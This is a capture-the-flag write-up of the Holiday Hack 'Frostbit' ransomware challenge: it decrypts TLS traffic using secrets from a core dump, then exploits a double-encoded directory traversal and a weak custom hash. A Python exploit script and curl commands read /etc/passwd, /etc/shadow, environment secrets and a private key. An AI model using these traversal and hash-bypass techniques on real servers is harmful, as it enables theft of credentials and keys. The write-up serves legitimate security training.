Introduction

Story

Tangle Coalbox is next to a Deactivate Frostbit terminal at the bottom part of Wombley’s side of the yard:

image-20250102104426002

Tagle is still talking in the Noir dialect from last year, and introduces the challenge with the Naughty-Nice List’s now being encrypted by Frostbit ransomware:

Tangle Coalbox

Tangle Coalbox

Ah, there ya are, Gumshoe! Tangle Coalbox at yer service.

Heard the news, eh? The elves’ civil war took a turn for the worse, and now, things’ve really gone sideways. Someone’s gone and ransomware’d the Naughty-Nice List!

And just when you think it can’t get worse—turns out, it was none other than ol’ Wombley Cube. He used Frostbit ransomware, all right. But, in true Wombley fashion, he managed to lose the encryption keys!

That’s right, the list is locked up tight, and it’s nearly the start of the holiday season. Not ideal, huh? We’re up a frozen creek without a paddle, and Santa’s big day is comin’ fast.

The whole North Pole’s stuck in a frosty mess, unless—there’s someone out there with the know-how to break us out of this pickle.

If I know Wombley—and I reckon I do—he didn’t quite grasp the intricacies of Frostbit’s encryption. That gives us a sliver o’ hope.

If you can crack into that code, reverse-engineer it, we just might have a shot at pullin’ these holidays outta the ice.

It’s no small feat, mind ya, but somethin’ tells me you’ve got the brains to make it happen, Gumshoe.

So, no pressure, but if we don’t get this solved, the holidays could be in a real bind. I’m countin’ on ya!

And when ya do crack it, I reckon Santa’ll make sure you’re on the extra nice list this year. What d’ya say?

Artifacts

The terminal provides a link to download artifacts:

image-20250102105052216

Clicking takes a few minutes:

image-20250102105132725

Eventually I get a file named frostbitartifacts.zip.

Decrypt the Naughty-Nice List

Data Overview

The downloaded artifacts contain five files:

oxdf@hacky$ unzip frostbitartifacts.zip 
Archive:  frostbitartifacts.zip
  inflating: DoNotAlterOrDeleteMe.frostbit.json  
  inflating: frostbit.elf            
  inflating: frostbit_core_dump.13   
  inflating: naughty_nice_list.csv.frostbit  
  inflating: ransomware_traffic.pcap 

The JSON file has some data that I will need later:

{"digest":"8600611488020065800944020100180b","status":"Key Set","statusid":"oRUhKcoPTXne56b4JS"}

naughty_nice_list.csv.frostbit is the encrypted data I need to recover.

frostbit.elf is a 64-bit ELF Linux executable:

oxdf@hacky$ file frostbit.elf 
frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped

It is written in Go, which is on the more difficult side to reverse engineer. Fortunately, I won’t need to.

ransomware_traffic.pcap is a PCAP capture file:

oxdf@hacky$ file ransomware_traffic.pcap 
ransomware_traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

And frostbit_core_dump.13 is a core dump, memory of the running process:

oxdf@hacky$ file frostbit_core_dump.13 
frostbit_core_dump.13: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)

PCAP

Overview

The PCAP contains a single TCP stream containing 19 packets between a private IP (172.17.0.3) and an HTTPS (TCP 443) server on 34.163.241.47:

image-20250103141149041

The server-name indication (SNI) shows api.frostbit.app. The data is encrypted under TLS.

Acquire TLS Secrets

The code dump file has a lot of stuff in it. At this point, what’s most interesting is what looks like the cryptographic information required to decrypt a TLS connection:

oxdf@hacky$ strings frostbit_core_dump.13 | grep SECRET
bCLIENT_HANDSHAKE_TRAFFIC_SECRET 
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ec
SERVER_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc fdc7729c10dea59ce3619f75ef69e48818dfcbf527d4c0d8329d3766d93d682e
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ecc56197e4d5e92f1ac1246438832be6a163
SERVER_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 879673accc5f589d9e0358bac13b93969fefdb09f6362b46074bbf58ee0f22b1
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ecc56197e4d5e92f1ac1246438832be6a163
SERVER_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 879673accc5f589d9e0358bac13b93969fefdb09f6362b46074bbf58ee0f22b1
CLIENT_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 1c04498f81a663f9ac56716559e5757c89d6b955307e29f8b1dae29042670150
SERVER_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc fdc7729c10dea59ce3619f75ef69e48818dfcbf527d4c0d8329d3766d93d682e

These are in the format logged by Wireshark. The first number represents the stream identifier, derived from the TLS handshark. Given all the secrets are associated with the same stream, it’s likely the stream in the provided PCAP. The second number for each is secret used for the traffic.

I’ll save the last four of these lines into a text file named tls.log.

Configure Wireshark to Decrypt TLS

In Wireshark, I’ll go to Edit –> Preferences and on the left side expand Protocols –> TLS. I’ll set the “(Pre)-Master-Secret log filename” to be tls.log:

image-20250102111612288

On hitting OK, the stream is decrypted, as now GET and POST requests are visible in the data:

image-20250103141631519

HTTP Stream

There are two HTTP requests in the data. The first is a GET request to the API potentially initiating a session:

GET /api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

The response contains a “nonce”, a random value to be used only once:

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 03 Jan 2025 19:00:03 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"nonce":"e40a2b07d1700d0d"}

The next request is a POST request with the same nonce as well as a field named “encryptedkey”:

POST /api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip

{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad1","nonce":"e40a2b07d1700d0d"}

The response has the data from the JSON file:

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 03 Jan 2025 19:00:03 GMT
Content-Type: application/json
Content-Length: 97
Connection: keep-alive
Strict-Transport-Security: max-age=31536000

{"digest":"8600611488020065800944020100180b","status":"Key Set","statusid":"oRUhKcoPTXne56b4JS"}

Thinking about how ransomware works, it makes sense that the binary one the victim would generate a key, and then encrypt that using public key crypto and send it back to the actor, leaving behind data that allows the actor to associate this victim with the appropriate key.

Website Enumeration

API

I’ve got a couple endpoints from the PCAP, and they are still active:

oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/session
{"nonce":"e40a2b07d1700d0d"}

It returns the same nonce every time (which means it’s not really a nonce).

I can check the key endpoint as well:

oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -X POST
{"error":"415 Unsupported Media Type: Did not attempt to load JSON data because the request Content-Type was not 'application/json'."}

I’ll add a header matching what was in the PCAP and the data:

oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -H "Content-Type: application/json" -d '{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad1","nonce":"e40a2b07d1700d0d"}'
{"error":"Key already set"}

No matter how I change the encryptedkey or the nonce, it just returns the same. Changing the bot UUID returns:

oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/a29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -H "Content-Type: application/json" -d '{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad0","nonce":"e40a2b07d1700d0a"}'
{"error":"Invalid UUID"}

Ransom Note

There are other strings in the memory dump with frostbit.app in it:

oxdf@hacky$ strings frostbit_core_dump.13 | grep frostbit.app | sort -u
api.frostbit.app
api.frostbit.app.
api.frostbit.app0
api.frostbit.app:443
api.frostbit.app.google.internal.
api.frostbit.appISRG Root X1
Host: api.frostbit.app
https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/sessionhttps://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/keyit
https://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b
_VERSION=1.20.14usr/local/sbin:/usr/local/bin:/ubin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bins://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065

The binary is Go, so sometimes strings run together. Still, I see the two I used already, as well as this one: https://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b. This URL is interesting. It has the statusid from the JSON file (and PCAP), the bot UUID, and a digest value.

The page loads the ransomware note:

image-20250103143127393

The links to the other sites are not live.

Debug

The website JavaScript indicates there’s some way to get debug information from the server. There’s a placeholder HTML div:

        <!-- Placeholder for Debug Data -->
        <div id="debug" style="margin-top: 20px;"></div>

And JavaScript to decode it:

    <script>
        // Default values with placeholders for data passed from the server-side Python script
        const isExpired = false;
        const expiryTime = 1766534400;
        const uuid = "e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4";
        const debugData = false;
        const deactivated = false;
        const decryptedkey = false;

        // Decode base64 debug data if it's not "false"
        let decodedDebugData = null;
        if (debugData) {
            try {
                decodedDebugData = atob(debugData);
            } catch (e) {
                console.error('Error decoding debug data: ', e, debugData);
                decodedDebugData = "Error decoding debug data. " + e + " " + debugData;
            }
        }

And later populate the placeholder:

        // Display decoded debug data if it exists
        document.addEventListener('DOMContentLoaded', function () {
            if (deactivated) {
                document.querySelector('.scenario').innerHTML = "<p class='alert'>The ransomware has been deactivated. The Naughty-Nice List is safe from being released. The key to decrypt the Naughty-Nice list is: <strong><pre>" + decryptedkey + "</pre></strong></p>";
                return;
            }
            // Start the countdown timer
            const timerInterval = setInterval(updateTimer, 1000);
            updateTimer(); // Initial call to set the timer immediately
            if (decodedDebugData) {
                const debugContainer = document.getElementById('debug');
                debugContainer.innerHTML = `<h3>Debug Data</h3><pre style="background-color: #f4f4f4; padding: 10px; border: 1px solid #ddd; overflow-x: auto;">${decodedDebugData}</pre>`;
            }
        });
    </script>

There’s also a reference to deactivating the release, and it seems to share the key.

A bit of experimentation shows that adding &debug=true to the end of the URL enables this information:

image-20250103144929301

The debugData in the JavaScript is populated:

        const debugData = "eyJ1dWlkIjogImUyOWU2ZTZmLTJhYjQtNGI3NC1iNmVlLWJlNzkxYjdiNTVkNCIsICJub25jZSI6ICJSRURBQ1RFRCIsICJlbmNyeXB0ZWRrZXkiOiAiUkVEQUNURUQiLCAiZGVhY3RpdmF0ZWQiOiBmYWxzZSwgICJldGltZSI6IDE3NjY1MzQ0MDB9";

It decodes to exactly what is displayed.

Crashing Site

I noted above that the URL has three potential variables in it. Changing the statusid value returns simple JSON that says:

{"error":"Invalid Request"}

However, with debug=true, there’s a different error:

{"debug":true,"error":"Status Id File Not Found"}

This suggests that here is a file read going on based on this value.

Playing with the UUID by changing some values returns:

{"debug":true,"error":"Invalid UUID"}

UUIDs are big enough that I can’t brute-force or guess other values.

If I remove values or make it not a UUID, it returns:

{"debug":true,"error":"Invalid UUID Format"}

If I change only the digest value, it returns:

{"error":"Invalid Request"}

In debug mode, there’s more:

{"debug":true,"error":"Invalid Status Id or Digest"}

Typically a website will use some kind of keyed hash as a integrity check. That suggests that the digest has something to do with the status id and the file being read.

If instead of changing the value I make it a non-hex value (such as digest=0xdf), in debug mode, the error message is longer:

{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n  File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n    decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n"}

Custom Hash Algorithm

Recover

The error message says that the Python file is located in /app/frostbit/ransomware/static/FrostBiteHashlib.py. The page already loads https://api.frostbit.app/static/frostbit.png, which suggests that this library file may be in the same place. I’m able to download it:

oxdf@hacky$ wget https://api.frostbit.app/static/FrostBiteHashlib.py
--2025-01-03 15:05:15--  https://api.frostbit.app/static/FrostBiteHashlib.py
Resolving api.frostbit.app (api.frostbit.app)... 34.173.241.47
Connecting to api.frostbit.app (api.frostbit.app)|34.173.241.47|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2466 (2.4K) [text/x-python]
Saving to: ‘FrostBiteHashlib.py’

FrostBiteHashlib.py                             100%[==========================>]   2.41K  --.-KB/s    in 0s      

2025-01-03 15:05:16 (174 MB/s) - ‘FrostBiteHashlib.py’ saved [2466/2466]

Source Summary

The file contains a single Python class, Frostbyte128. The __init__ function takes in the message to be hashed, the filename, the nonce, and a hash_length:

class Frostbyte128:
    def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
        self.file_bytes = file_bytes
        self.filename_bytes = filename_bytes
        self.filename_bytes_length = len(self.filename_bytes)
        self.nonce_bytes = nonce_bytes
        self.nonce_bytes_length = len(self.nonce_bytes)
        self.hash_length = hash_length
        self.hash_result = self._compute_hash()

It sets these variables and calls _compute_hash() to store the result.

_compute_hash loops over the input bytes XORing them with the nonce and then into the corresponding hash byte. It then continues using the file path as well basically the same way, but this time the result of byte XOR nonce is combined into the hash with bitwise AND (&) rather than XOR (^).:

    def _compute_hash(self) -> bytes:
        hash_result = bytearray(self.hash_length)
        count = 0

        for i in range(len(self.file_bytes)):
            xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
            hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
            count += 1

        for i in range(len(self.filename_bytes)):
            count_mod = count % self.hash_length
            count_filename_mod = count % self.filename_bytes_length
            count_nonce_mod = count % self.nonce_bytes_length
            xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
            hash_result[count_mod] = hash_result[count_mod] & xrd
            count += 1

        return bytes(hash_result)

There’s a few issues with this hash. First, when you change a single bit of a hash, a good algorithm will update 50% of the bits in the hash. That means that two similar but different files will have completely different hashes. That is not the case here, as changing a single byte only changes one byte of the hash.

More importantly, bitwisel AND is very bad here, as it over multiple rounds will tend to make most bits 0. Once a bit is 0, ANDing cannot turn it back to 1. If I look closely at the digest for my page, I’ll note how sparse it is (shown in hex and then binary):

8600611488020065800944020100180b
10000110000000000110000100010100100010000000001000000000011001011000000000001001010001000000001000000001000000000001100000001011

The digest and hexdigest functions return the computed hash as raw bytes or hex:

    def digest(self) -> bytes:
        """Returns the raw binary hash result."""
        return self.hash_result

    def hexdigest(self) -> str:
        """Returns the hash result as a hexadecimal string."""
        return binascii.hexlify(self.hash_result).decode()

There’s an update function that doesn’t seem useful here. And a validate function:

    def validate(self, hex_string: str):
        """Validates if the provided hex string matches the computed hash."""
        try:
            decoded_bytes = binascii.unhexlify(hex_string)
            if decoded_bytes == self.digest():
                return True, None
        except Exception as e:
            stack_trace = traceback.format_exc()
            return False, f"{stack_trace}"
        return False, None

The call to binascii.unhexlify in valdiate is where I was able to crash this function and get the error message back in the debug data.

File Read

Strategy

At this point, my theory is that the the debug data for this compromise is stored in a file named for the statusid, and that a hash of that file is computed using the Frostbyte128 algorithm and used as a checksum. I’m going to look for a directory traversal vulnerability in the website that would allow me to check for the existence of other files, and then try to exploit the hashing algorithm to read those files.

Directory Traversal POC

If oRUhKcoPTXne56b4JS is a file, then accessing it as ./oRUhKcoPTXne56b4JS should read the same file. I can try adding ./ into the URL. With curl, I’ll need to add --path-as-is to prevent curl from normalizing the URL:

oxdf@hacky$ curl --path-as-is 'https://api.frostbit.app/view/./oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

I’m not surprised this didn’t work. That’s not an endpoint that the server is expecting. What if I encode the / (and I don’t need --path-as-is anymore since it’s encoded)?

oxdf@hacky$ curl --path-as-is 'https://api.frostbit.app/view/.%2foRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Still not working. That’s because the reverse proxy, nginx, is decoding it before it gets to the Python (probably Flask?) webserver. I’ll encode the % to %25:

oxdf@hacky$ curl 'https://api.frostbit.app/view/.%252foRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}

Amazing! This error tells me two things. First, I’ve found a directory traversal. If I change it to something that doesn’t exist, then it returns differently:

oxdf@hacky$ curl 'https://api.frostbit.app/view/.%252fnot_a_real_file/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Status Id File Not Found"}

Second, it indicates that the file path is being taken into account for the hash.

I can use ..%252f as ../ to get to any file this webserver can access on the server. For example, /etc/not_a_file doesn’t exist, but /etc/passwd does:

oxdf@hacky$ curl 'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fpasswd/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}
oxdf@hacky$ curl 'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fnot_a_file/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Status Id File Not Found"}

It can read /etc/shadow, which suggests it’s running as root:

oxdf@hacky$ curl'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fshadow/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}

File Read POC

If at any point in the hash I can line up bytes in the file name such that they are the same as the bytes in the nonce that they are XORed with, then I can get those bytes to all 0, which will then make the entire hash all 0 regardless of the other values (because of the bitwise AND).

I’ll start by referencing a directory that is two nonces and then some optional padding, and then traverse back up from that directory to the actual file I want to read.

Depending on the length of the file being hashed, the nonce could start at any of eight offsets. So I’ll try up to eight times, changing the length of the filename to guarantee that I can get it lined up correctly. When it does line up correctly, the hash will be all nulls, which I can pass in.

import sys
import re
import requests
from binascii import unhexlify
from base64 import b64decode


nonce = "e40a2b07d1700d0d"
uuid = "e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4"
bin_nonce = ''.join([f"%25{c:02x}" for c in unhexlify(nonce)])
for i in range(8):
    path = (bin_nonce + bin_nonce + ('a' * i ) + '/../../../../..' + sys.argv[1]).replace('/', '%252f')
    url = f'https://api.frostbit.app/view/{path}/{uuid}/status?digest=00000000000000000000000000000000&debug=true'
    resp = requests.get(url)
    try:
        data = b64decode(re.search(r'const debugData = "(.*)";', resp.text).group(1)).decode()
        print(data)
        break
    except:
        pass

Only the / and nonce bytes need to be double URL encoded (if I go too long the server rejects the request). When it gets back valid debug data, it prints it.

It works:

oxdf@hacky$ python readfile.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
oxdf@hacky$ python readfile.py /etc/shadow
root:*:19970:0:99999:7:::
daemon:*:19970:0:99999:7:::
bin:*:19970:0:99999:7:::
sys:*:19970:0:99999:7:::
sync:*:19970:0:99999:7:::
games:*:19970:0:99999:7:::
man:*:19970:0:99999:7:::
lp:*:19970:0:99999:7:::
mail:*:19970:0:99999:7:::
news:*:19970:0:99999:7:::
uucp:*:19970:0:99999:7:::
proxy:*:19970:0:99999:7:::
www-data:*:19970:0:99999:7:::
backup:*:19970:0:99999:7:::
list:*:19970:0:99999:7:::
irc:*:19970:0:99999:7:::
_apt:*:19970:0:99999:7:::
nobody:*:19970:0:99999:7:::

I can read /proc/self/environ (which returns null separated fields, so I’ll use tr to split to lines):

oxdf@hacky$ python readfile.py /proc/self/environ | tr '\000' '\n'
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=6059e5d8ecc8
FROSTBIT_CHALLENGE_HASH=6487b8b081bc4317cc8017a898c7dfc8
LETSENCRYPT_EMAIL=ops@counterhack.com
PYTHONUNBUFFERED=1
VIRTUAL_PORT=8080
ARANGO_ROOT_PASSWORD=password
ARANGO_HOST=arangodb
APP_DEBUG=true
API_ENDPOINT=https://2024.holidayhackchallenge.com
VIRTUAL_HOST=api.frostbit.app
LETSENCRYPT_HOST=api.frostbit.app
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.19
PYTHON_PIP_VERSION=23.0.1
PYTHON_SETUPTOOLS_VERSION=58.1.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py
PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a
HOME=/root

ARANGO_HOST and ARANGO_ROOT_PASSWORD are interesting, and I’ll use that in the next section. It’s using Let’s Encrypt for TLS certificates with the email ops@counterhack.com. HOME is /root, suggesting strongly this webserver is running as root.

Decrypt

Recover Private Key

In the Santa Vision challenge, during silver part C, I came across an interesting message:

image-20241227173410583

That certainly seems like a file on this server. I’m able to read it:

oxdf@hacky$ python readfile.py /etc/nginx/certs/api.frostbit.app.key
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
...[snip]...
yIHlLUXkLRxFZPPQZNwsACD8YoRPW/w60n2z7BzA5PcIZKNJlZqa9ixBunIxZXII
jd6fDxOeVjU6usKzSeosoQCkEFvhlkVH6EK6Xfh6XDFatAnZyDNVP/PPihI=
-----END RSA PRIVATE KEY-----

Decrypt encryptedkey

I have the encryptedkey variable from the PCAP (and it’s also a string in the memory dump):

image-20250103155350636

I’ll drop that and the private key into CyberChef and it decrypts to two comma separated values:

image-20250103155554940

Decrypt Naughty-Nice List

I’ll guess that these two values are a key and an IV. Passing the IV in as hex to CyberChef returns an error message:

image-20250103155706704

But making it UTF-8 solves that. I’ll have CyberChef read the encrypted naughty_nice_list.csv.frostbit as input, and it decrypts:

image-20250103155819013

Row 440 is Xena Xtreme:

440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies

That’s the solution to the challenge.

Outro

On solving, Tangle is both surprised and impressed:

Tangle Coalbox

Tangle Coalbox

Well, I’ll be a reindeer’s uncle! You’ve done it, Gumshoe! You cracked that frosty code and saved the Naughty-Nice List just in the nick of time. The elves’ll be singin’ your praises from here to the South Pole!

I knew you had it in ya. Now, let’s get these toys delivered and make this a holiday to remember. You’re a true North Pole hero!

Santa is as well:

Santa

Santa

Ho ho ho! You’ve done it! We have the Naughty-Nice List, we’re back in business! Reverse engineering Wombley’s ransomware was no easy feat. You must be some kind of technical genius!

And Alabaster:

Alabaster Snowball

Alabaster Snowball

You are a cyber warrior through and through! Reverse engineering Wombley’s ransomware and decrypting the Naughty-Nice List? They will create legends based on you.

Wombley is nonchalant:

Wombley Cube

Wombley Cube

What was perhaps my greatest technical achievement was also my greatest misstep. FrostBit is no more, and with that, the Naughty-Nice List is restored. Impressive work.

